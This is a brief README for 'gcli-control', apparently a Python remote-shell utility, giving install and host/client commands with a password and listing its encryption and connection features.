Install

pip install gcli-control

Quick Start

Host (remote machine):

gcli host --password MySecret123
gcli host --password MySecret123 --foreground  # debug mode

Client (your machine):

gcli ssh --password MySecret123

Stop host:

gcli stop

Security

  • AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
  • zlib compression before encryption (60-80% payload reduction)
  • PBKDF2 key caching (~150ms saved per operation)
  • Password never leaves your machine — only encrypted payloads
  • Built-in tamper detection (GCM authentication tag)
  • Persistent HTTPS connection reuse (reduced TLS handshake overhead)
